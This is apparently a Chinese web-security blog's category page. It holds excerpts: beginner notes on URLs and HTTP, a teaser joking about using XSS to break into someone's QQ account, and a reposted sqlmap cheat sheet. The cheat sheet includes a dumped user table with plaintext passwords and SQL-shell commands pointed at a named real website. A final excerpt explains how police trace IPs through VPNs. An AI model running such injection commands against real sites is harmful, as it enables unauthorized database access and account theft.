分类目录归档:Web安全

Web安全学习笔记第一章

Web安全时代

1.0时代:针对服务器进行攻击,主要包括SQL注入,上传漏洞,命令链接等攻击方式

2.0时代:针对服务器以及用户,新增XSS、CSRF等攻击方式

Web工作流程

Web工作方式类似餐厅点餐,点餐-上菜。这是用户能看到的部分。而服务员接到点餐后,会把菜单拿给厨师,然后厨师做好菜后会给服务员说,然后服务员就拿到做好的菜品就上菜给客人。

而Web工作流程与上面相似,用户通过浏览器输入网址,比如baidu.com,浏览器会通过DNS服务器找到baidu.com对应的服务器IP地址,服务器接到请求后与数据库交互,然后得到结果,并返回给用户。

浏览器并不能直接通过我们输入的网址直接与服务器通讯。当我们输入需要访问的网址后,浏览器会把我们的网址通过DNS服务器查询,得到服务器的IP地址,然后服务器直接与这个IP地址进行通讯的。

URL协议

浏览器与服务器通讯也需要一种方法,这个方法就是URL协议,它的中文翻译是“统一资源定位符”,它的作用是以简洁的方式从互联网上得到资源,并且让每个文件都有一个唯一的URL地址。

URL格式大致为:

协议://用户名:密码@域名:端口号/目录/文件名.文件后缀?参数=值#锚点
  1. 协议:URL支持许多协议,我们常见的协议有HTTP、FTP、MAILTO、HTTPS协议,而协议的作用就是告诉浏览器将如何处理要打开的文件。
  2. 用户名和密码:如果服务器需要授权才能访问就在这里输入
  3. 域名:这里填写你需要访问的网站域名,比如www.baidu.com或者image.baidu.com
  4. 端口号:如果是http协议,默认的80端口是不需要填写的,其他的协议根据相应的协议端口进行填写
  5. 目录以及文件名、后缀:这里是访问服务器中的文件路径。
  6. 参数:这里是需要传递给服务器的一些值,服务器会根据这些传递的值作出响应。
  7. 锚点:锚点的作用是定位当前文件中的哪一个位置。

HTTP协议

HTTP协议就是web中最重要的协议,也是使用应用最广泛的协议,每次我们我们访问网页都进行了http请求。

一个完整的http请求包含三部分:

  1. 请求行

    包含请求的方法以及URL、协议版本,比如:GET /test/xx.php?id=123444 HTTP/1.1

  2. 请求头

    常见内容包含:

    HOST:主机地址(域名)比如:www.xsscript.com。

    User-Agent:让服务器能够识别用户的包含操作系统及版本、CPU、浏览器、语言等信息。

    Cookie:代表用户凭证,服务器可以根据这个用户凭证来识别你是谁。

    Referer:服务器可以通过Referer来判断用户的来源,也就是你从什么地方过来的。

  3. 请求正文

    GET请求没有请求正文,所有的参数均含在请求行和头中,POST有请求正文

一个完整的http响应包含三部分:

  1. 状态行

    包含协议和版本、以及服务器状态的响应编码。比如HTTP/1.1 200 OK表示服务器响应成功

  2. 响应头

    常见内容包含:

    Server:HTTP服务器的版本

    Content-Type:响应正文类型,让浏览器根据类型进行处理然后显示给用户

    Set-Cookie:如果用户没有Cookie或者Cookie需要更新,服务器会在响应包中含此内容,提示浏览器设置或更新Cookie。

    Content-Language:响应正文的语言

    Content-Length:响应正文的长度。

    Location:当用户访问www.baidu.com然后响应包中包含了此内容的时候,会跳转到相应的网址。

  3. 响应正文

    发送给用户浏览器处理的正文内容。

参考

Web安全工程师

MDN web docs

Short XSS

文章作者:xsscript(原网名Crackkay)

0x00 背景

关键时候长度不够怎么办?

在实际的情况中如果你不够长怎么办呢?看医生?吃药?做手术?。。。。。。。。。。。。。。算了,既然自身硬件不足,那么就把缺点变优点吧。熟话说:小是小威力好。

熟话说的好,要能长能短,收放自如。在很多的情况中,我们构造的语句是被限制在一定的字符数内。所以这个就是考验你能短的时候能不能短,能长的时候能不能长的时候到了。

0x01 现实中的悲剧

这是一个活生生的悲剧,一个平台上面,一个二逼朋友有妹子的平台账号,但是二逼朋友想进妹子的QQ空间,用平台的备注插QQ-XSS代码,但是因为限制的字符太短,最终抱头痛哭。于是就有了下图所发生:

1

继续阅读

Sqlmap注入语句备注

转载自:mickey

$ python sqlmap.py -u “http://ww.victim.com/get_int.php?id=1”–union-use –
dump -T users -D public -v 0

web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
Database: public
Table: users
[4 entries]
+—-+———— +———-+
| id | password | username |
+—-+———— +———-+
| 1 | blissett | luther |
| 2 | nameisnull | NULL |
| 3 | bunny | fluffy |
| 4 | ming | wu |

=======================================

这个东西,是mickey整理的,不多说了,尊重一下原作者,转载注明mickey整理就好了

更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //执行SQL语句

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更详细的信息

继续阅读

如何追踪到你的IP

如何追踪你的IP

转载于:网络

1.不用代理

网民发帖流程:

发帖人 → ISP → 服务器托管商 → 服务器

网警追踪流程:

网监 → 服务器IP → 发帖人IP → 发帖人ISP → 档案

爆菊几率:100%

2.只用1层私人VPN

网民发帖流程:

发帖人 → ISP → VPN → 服务器托管商 → 服务器

网警追踪流程:

网监 → 服务器IP → VPN的IP → 路由日志 → 链接者IP → 链接者ISP → 办网档案

爆菊几率:100%

继续阅读